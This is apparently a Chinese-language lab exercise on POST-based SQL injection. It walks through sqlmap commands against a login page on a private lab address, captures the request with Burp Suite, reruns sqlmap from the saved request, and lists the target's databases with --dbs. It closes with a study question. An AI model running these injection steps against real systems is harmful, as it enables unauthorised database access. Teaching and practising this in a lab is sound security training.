步骤1:了解POST类型注入
python sqlmap.py -u “http://172.16.12.2/loginAuth.php" –method POST –data “id=1&password=123456” -p id
–methon POST 指定提交方式为POST
–data 指定提交的数据
-p 指定SQL注入payload测试的参数
POST parameter ‘id’
POST 参数是可注入的
步骤2 从Burp Suite历史记录读取数据
配置浏览器和BUrpSuite网络代理
Proxy->Options
关闭BurpSuite工具拦截,使得经过它的http请求能顺利通过。
Proxy-> Intercept
点击Intercept is on使其状态为Intercept is off
Proxy-> HTTP history
Request
Raw
复制下面内容
c盘新建文件post.txt
python sqlmap.py -r c:/post.txt
Parameter: id
返回id是可注入的
获取目标机数据库列表 直接在原有命令基础加上–dbs
python sqlmap.py -r c:/post.txt –dbs
思考
POST型注入与GET型注入有何不同?